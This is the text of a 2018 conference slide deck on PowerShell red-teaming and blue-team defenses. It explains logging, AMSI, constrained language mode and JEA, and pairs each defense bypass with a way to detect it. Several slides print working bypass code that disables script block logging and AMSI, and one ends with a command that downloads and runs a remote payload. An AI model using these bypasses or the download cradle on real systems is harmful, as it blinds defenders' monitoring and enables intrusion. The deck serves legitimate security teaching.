  • 2. About Me ▪ Hacker, RedTeamer,Trainer, Speaker at http://pentesteracademy.com/ ▪ Twitter - @nikhil_mitt ▪ Blog – http://labofapenetrationtester.com ▪ Github - https://github.com/samratashok/ ▪ Creator of Kautilya and Nishang ▪ Interested in Offensive Information Security, new attack vectors and methodologies to pwn systems. ▪ PreviousTalks and/orTrainings – DefCon, BlackHat, CanSecWest, BruCON, 44CON and more. Hacked? Pray that the attacker used PowerShell 2IT Defense 2018
  • 3. Agenda ▪ Motivation ▪ Attack simulation using PowerShell ▪ PowerShell ♥ the BlueTeam ▪ Detections using PowerShell v5.1 ▪ Bypasses of the detections and detections for the bypasses ▪ Conclusion Hacked? Pray that the attacker used PowerShell 3IT Defense 2018
  • 4. Motivation ▪ PowerShell v2 comes installed by default inWindows 7. ▪ It allows ability to interact with Windows components like Filesystem, Registry, Active Directory, COM,WMI,Windows API, .NET on local as well as remote boxes and in-memory execution of scripts as a built-in feature and extension of abilities by using .NET classes without leaving any logs on the target system. ▪ Improvements inWindows PowerShellv5 has made it one of the most logged scripting language across platforms. ▪ I have been using PowerShell for RedTeaming for past 7 years and recently for PurpleTeaming and increasingly find it equally useful for defense as well! Hacked? Pray that the attacker used PowerShell 4IT Defense 2018
  • 5. Attack Simulation with PowerShell Hacked? Pray that the attacker used PowerShell IT Defense 2018 5 InitialCompromise
  • 6. Initial Compromise ▪ Using client side attacks is a popular and fruitful method for getting a foothold machine.There are many well known file types that can be used to launch a PowerShell payload. – Office Documents (Word, Excel, PowerPoint,Access, RTF etc.) – HTA, CHM, JS – Scriptlets (used with regsvr32) Hacked? Pray that the attacker used PowerShell 6IT Defense 2018
  • 7. Domain Enumeration ▪ Once we have access as a domain user, we can begin with enumeration of domain and gather situational awareness. ▪ After gathering enough information about the target domain, we look for privileges on other machines to escalate our privileges locally. Hacked? Pray that the attacker used PowerShell 7IT Defense 2018
  • 8. Domain Privilege Escalation ▪ So, we spotted a machine where domain admin credentials are present and we have local admin privileges. ▪ Once again, PowerShell helps us here by providing the ability to execute Mimikatz completely in memory. Hacked? Pray that the attacker used PowerShell 8IT Defense 2018
  • 9. DEMO - Attack simulation with PowerShell Hacked? Pray that the attacker used PowerShell IT Defense 2018 9
  • 10. Popular but useless "Security Controls" ▪ PowerShell script execution policy ▪ Blocking or removing powershell.exe ▪ Not updating PowerShell hoping that an adversary will not get an updated "attack tool". Hacked? Pray that the attacker used PowerShell 10IT Defense 2018
  • 11. PowerShell ♥ the Blue Team ▪ Microsoft fights back with PowerShell v5.1 – System-wide transcription – Enhanced logging – AMSI – Constrained PowerShell – Protected Event Logging – JEA Reference: https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue- team/ Hacked? Pray that the attacker used PowerShell 11IT Defense 2018
  • 12. PowerShell ♥ the Blue Team - System-wide Transcription ▪ Enables transcription (console logging) for everything (powershell.exe, PowerShell ISE, custom hosts - .NET DLL, msbuild, installutil etc.) which uses PowerShell engine. ▪ Can be enabled using Group Policy (Administrative Templates - > Windows Components -> Windows PowerShell -> Turn on PowerShell Transcription). By-default transcripts are saved in the user's "My Documents" directory. ▪ HKLM:SoftwarePoliciesMicrosoftWindowsPowerShellTra nscription is the Registry key. Set EnableTranscriptng to 1. (See Enable-PSTranscription in the referred blog) Hacked? Pray that the attacker used PowerShell 12IT Defense 2018
  • 13. PowerShell ♥ the Blue Team - System-wide Transcription Hacked? Pray that the attacker used PowerShell 13IT Defense 2018
  • 14. PowerShell ♥ the Blue Team - System-wide Transcription ▪ The transcripts are written as text files and can quickly grow in size because the command output is also recorded. It is always recommended to forward the transcripts to a log system to avoid tempering and running out of disk space. ▪ Known problems -Too many logs in an enterprise level network. Enabling transcripts on a DC breaks the Active Directory Administration Centre GUI application. Hacked? Pray that the attacker used PowerShell 14IT Defense 2018
  • 15. PowerShell ♥ the Blue Team - Enhanced Logging Script block logging ▪ Logs contents of all the script blocks processed by the PowerShell engine regardless of host used. ▪ Can be enabled using Group Policy (Administrative Templates - > Windows Components -> Windows PowerShell -> Turn on PowerShell Script Block Logging). Logs to Microsoft- Windows-PowerShell/Operational. ▪ By-default only first execution of a script block is logged (Verbose 4104). Set "Log script block invocation start / stop events" for start and stop of scripts in Event ID 4105 and 4106.(Multi-fold increase in number of logs) Hacked? Pray that the attacker used PowerShell 15IT Defense 2018
  • 16. PowerShell ♥ the Blue Team - Enhanced Logging Script block logging ▪ HKLM:SoftwarePoliciesMicrosoftWindowsPowerShellScr iptBlockLogging is the Registry key. Set EnableScriptBlockLogging to 1. (See Enable- PSScriptBlockLogging in the referred blog) ▪ PowerShell v5 onwards logs (Warning level Event ID 4104) some suspicious script blocks automatically based on a list of suspicious commands. See: https://github.com/PowerShell/PowerShell/blob/v6.0.0- alpha.18/src/System.Management.Automation/engine/runtime/CompiledScriptBlock.c s#L1612-L1660 ▪ It also records the original obfuscated code as well as decoded and de-obfuscated code. Hacked? Pray that the attacker used PowerShell 16IT Defense 2018
  • 17. PowerShell ♥ the Blue Team - Enhanced Logging Hacked? Pray that the attacker used PowerShell 17IT Defense 2018
  • 18. PowerShell ♥ the Blue Team - Enhanced Logging Module logging ▪ Available since PowerShell v3, module logging logs pipeline execution and command execution events. ▪ Can be enabled using Group Policy (Administrative Templates -> Windows Components -> Windows PowerShell -> Turn on Module Logging). Use "*' to log for all modules. Logs to Microsoft-Windows- PowerShell/Operational with Event ID 4103. ▪ HKLMSOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerS hellModuleLogging is the Registry key. Set EnableModuleLogging to 1. ▪ HKLMSOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerS hellModuleLoggingModuleNames is the Regsitry key. Create a key * and set it to * for all modules. Hacked? Pray that the attacker used PowerShell 18IT Defense 2018
  • 19. PowerShell ♥ the Blue Team - Enhanced Logging Module logging Hacked? Pray that the attacker used PowerShell 19IT Defense 2018
  • 20. PowerShell ♥ the Blue Team - Enhanced Logging ▪ Warning level script block logging checks only for a known list of suspicious commands. ▪ Large number of logs for script block logging. Even more if invocation of script blocks is logged. ▪ Huge number of logs when module logging is enabled. Hacked? Pray that the attacker used PowerShell 20IT Defense 2018
  • 21. PowerShell ♥ the Blue Team - AMSI ▪ AMSI (AntiMalware Scan Interface) provides the registered antivirus access to contents of a script before execution. ▪ This allows detection of malicious scripts regardless of input method (disk, encodedcommand, in-memory). ▪ Enabled by-default onWindows 10 and supported byWindows Defender. ▪ Known problem: AMSI has no detection mechanism. It is dependent on the signature based detection by the registered antivirus. Hacked? Pray that the attacker used PowerShell 21IT Defense 2018
  • 22. PowerShell ♥ the Blue Team - AMSI Hacked? Pray that the attacker used PowerShell 22IT Defense 2018
  • 23. PowerShell ♥ the Blue Team - Constrained PowerShell ▪ Language mode in PowerShell is used to control access to different elements for a PowerShell session. ▪ In the constrained language mode, allWindows cmdlets and elements are allowed but allows only limited types. For example, Add-Type,Win32APIs, COM objects are not allowed. ▪ Intended to work with Applocker in Allow mode or UMCI (Device Guard User Mode Code Integrity). When Allow mode is set for scripts in Applocker, the Constrained Language mode kicks-in by itself. ▪ Known problem: Not easy to implement enterprise-wide as it may break many legitimate scripts. Hacked? Pray that the attacker used PowerShell 23IT Defense 2018
  • 24. PowerShell ♥ the Blue Team - Constrained PowerShell Hacked? Pray that the attacker used PowerShell 24IT Defense 2018
  • 25. PowerShell ♥ the Blue Team - JEA ▪ JEA (Just Enough Administration) provides role based access control for PowerShell based remote delegated administration. ▪ With JEA non-admin users can connect remotely to machines for doing specific tasks. ▪ Focused more on securing privileged access than solving a problem introduced with PowerShell unlike others discussed so far. ▪ JEA endpoints have PowerShell transcription and logging enabled. Reference: https://msdn.microsoft.com/en-us/library/dn896648.aspx Hacked? Pray that the attacker used PowerShell 25IT Defense 2018
  • 26. DEMO - Did we left fingerprints? Hacked? Pray that the attacker used PowerShell IT Defense 2018 26
  • 27. Same Attack Simulation without PowerShell ▪ Initial Compromise -VBA,VBScript and JScript payloads. – Metasploit and ton of other tools ▪ Active Directory enumeration – WMI,VBScript ▪ Domain Privilege Escalation - – Mimikatz in JS using DotNetToJScript – Packed and obfuscated mimikatz.exe ▪ From the defenses discussed, only AMSI will interfere with execution of the scripts. Hacked? Pray that the attacker used PowerShell 27IT Defense 2018
  • 28. How PowerShell fairs in comparison to other shell and scripting languages? From: https://blogs.msdn.microsoft.com/powershell/2017/04/10/a- comparison-of-shell-and-scripting-language-security/ Hacked? Pray that the attacker used PowerShell 28IT Defense 2018
  • 29. No more PowerShell Red Teaming? ▪ Does all this mean that PowerShell is not good for red teaming anymore? ▪ PowerShell still provides very useful ability of lateral movement and script execution.At least as long as the security controls are not deployed and managed in enterprises. ▪ Also, there is a very smart PowerShell tooling community creating top notch tools useful for both Red and BlueTeams. Hacked? Pray that the attacker used PowerShell 29IT Defense 2018
  • 30. Bypassing the Defenses and Detecting the Bypasses ▪ Bypasses for the defenses can be categorized in the following categories: – PowerShell downgrade to version 2 – Unloading, disabling or unsubscribing – Obfuscation – Trust abuse (Using trusted executables and code injection in trusted scripts) ▪ Many bypasses leave log entries which can be used to detect them. Hacked? Pray that the attacker used PowerShell 30IT Defense 2018
  • 31. Bypassing the defenses - PowerShell Downgrade ▪ PowerShell version 2 lacks ALL of the detection mechanisms we discussed. ▪ PowerShell version 2 can be called using the -Version parameter or by using v2 reference assemblies. ▪ Version v2.0, 3.0 or 3.5 of the .NET Framework is required to use PowerShell v2. ▪ PowerShell v2Windows features must be enabled (enabled by default). Hacked? Pray that the attacker used PowerShell 31IT Defense 2018
  • 32. Detecting the Bypass- PowerShell Downgrade ▪ The "Windows PowerShell" log can be used to detect the downgrade bypass.The Event ID 400 (Engine Lifecycle) logs the "HostVersion" as 2.0. ▪ Device Guard or Applocker can be used to block older version of PowerShell. http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell- downgrade-attacks/ Hacked? Pray that the attacker used PowerShell 32IT Defense 2018
  • 33. Bypassing the defenses - Unloading Script Block Logging ▪ Script block logging can be bypassed for the current session without admin rights by disabling it from the Group Policy Cache as discovered by Ryan Cobb. ▪ For efficiency, Group Policy settings are cached and used by Powershell. It is possible to read and modify the settings! Taken From: https://cobbr.io/ScriptBlock-Logging-Bypass.html Hacked? Pray that the attacker used PowerShell 33 $GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') If ($GroupPolicyField) { $GroupPolicyCache = $GroupPolicyField.GetValue($null) If ($GroupPolicyCache['ScriptB'+'lockLogging']) { $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 } $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new() $val.Add('EnableScriptB'+'lockLogging', 0) $val.Add('EnableScriptB'+'lockInvocationLogging', 0) $GroupPolicyCache['HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptB'+'lockLogging '] = $val } iex (New-Object Net.WebClient).downloadstring("https://myserver/mypayload.ps1") IT Defense 2018
  • 34. Bypassing the defenses - Unloading Warning Level Script Block Logging ▪ Recall that theWarning level script block logging (which is enabled by default) uses a list of known bad words. ▪ Turns out the logging can be bypassed for the current session without admin rights by setting the list (signatures field in the ScriptBlock class ) to null.Once again, discovered by Ryan Cobb. Taken From: https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html Hacked? Pray that the attacker used PowerShell 34 # The bypass [ScriptBlock]."GetFiel`d"('signatures','N'+'onPublic,Static').SetValue($null,(New -Object Collections.Generic.HashSet[string])) # To use a base64 encoded payload script with the bypass [ScriptBlock]."GetFiel`d"('signatures','N'+'onPublic,Static').SetValue($null,(New -Object Collections.Generic.HashSet[string]));[Text.Encoding]::Unicode.GetString([Convert ]::FromBase64String('IgA8AE0AeQAgAHMAdQBzAHAAaQBjAGkAbwB1AHMAIABOAG8AbgBQAHUAYgBs AGkAYwAgAHAAYQB5AGwAbwBhAGQAPgAiAA=='))|iex IT Defense 2018
  • 35. Detecting the bypass- Unloading Script Block Logging ▪ Both the bypasses are logged unless obfuscated. ▪ Script block logging bypass evades detection if used from a download cradle. Hacked? Pray that the attacker used PowerShell 35IT Defense 2018
  • 36. Bypassing the defenses - Disabling AMSI ▪ AMSI can be bypassed for the current session without admin rights by setting the amsiInitFailed of System.Management.Automation.AmsiUtils to true as tweeted by Matt Graber https://twitter.com/mattifestation/status/735261176745988096 Hacked? Pray that the attacker used PowerShell 36 # Use s_amsiInitFailed for PowerShell v6. #Bypass one - marked as malicious by some AntiVirus. Use with obfuscation. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiIn itFailed','NonPublic,Static').SetValue($null,$true) #Bypass two - not detected by auto logging [Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetF ie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$ True) IT Defense 2018
  • 37. Detecting the bypasses- AMSI ▪ Warning level script block auto logging detects the first bypass. Hacked? Pray that the attacker used PowerShell 37IT Defense 2018
  • 38. Bypassing the Defenses - Obfuscation ▪ Obfuscation defeats script block logging, warning level auto logging and AMSI when done right. ▪ As a very simple example, we have already seen how GetField becomes GetFiel`d to bypass warning level auto logging. ▪ Invoke-Obfuscation and Invoke-CradleCrafter from Daniel (https://github.com/danielbohannon) are very useful for implementing obfuscation. Hacked? Pray that the attacker used PowerShell 38IT Defense 2018
  • 39. Detecting the bypasses- Obfuscation ▪ Obfuscated scripts can be spotted by comparing common characteristics like variable names, function names, character frequency, distribution of language operators, entropy etc. ▪ Revoke-Obfusction (https://github.com/danielbohannon/Revoke- Obfuscation) is one such tool for identifying obfuscated scripts from event logs. ▪ Bonus:To avoid detection of obfuscation we can use minimal obfuscation by identifying the exact signature which gets detected and obfuscating only that part of the script. See: https://cobbr.io/PSAmsi-Minimizing-Obfuscation-To-Maximize- Stealth.html Hacked? Pray that the attacker used PowerShell 39IT Defense 2018
  • 40. Bypassing the defenses - PowerShell Upgrade (!!?) ▪ PowerShell v6.0.0 (pwsh.exe) has only two of the discussed security features:Warning level script block logging (not automatic) and AMSI (the bypasses still works). ▪ This is probably because it is notWindows PowerShell but PowerShell Core. ▪ The warning level script block logging needs to be setup by running a PowerShell script RegisterMaifest.ps1 which registers the PowerShellCore event provider. http://www.labofapenetrationtester.com/2018/01/powershell6.html Hacked? Pray that the attacker used PowerShell 40IT Defense 2018
  • 41. Bypassing the defenses - PowerShell Upgrade (!!?) Hacked? Pray that the attacker used PowerShell 41IT Defense 2018
  • 42. Conclusion ▪ The security controls, as we saw, can be bypassed but they truly increase cost to an adversary. And this makes the security controls, good enough to be implemented. ▪ All the security controls are built-in, free and do not need specizlized knowledge or set up time. ▪ Not over for red teamers - PowerShell is a tool for true Purple Teaming! Hacked? Pray that the attacker used PowerShell 42IT Defense 2018
  • 43. Thank You ▪ Please leave feedback. ▪ Follow me @nikhil_mitt ▪ For questions, training, assessments - nikhil.uitrgpv@gmail.com nikhil@pentesteracademy.com Hacked? Pray that the attacker used PowerShell IT Defense 2018 43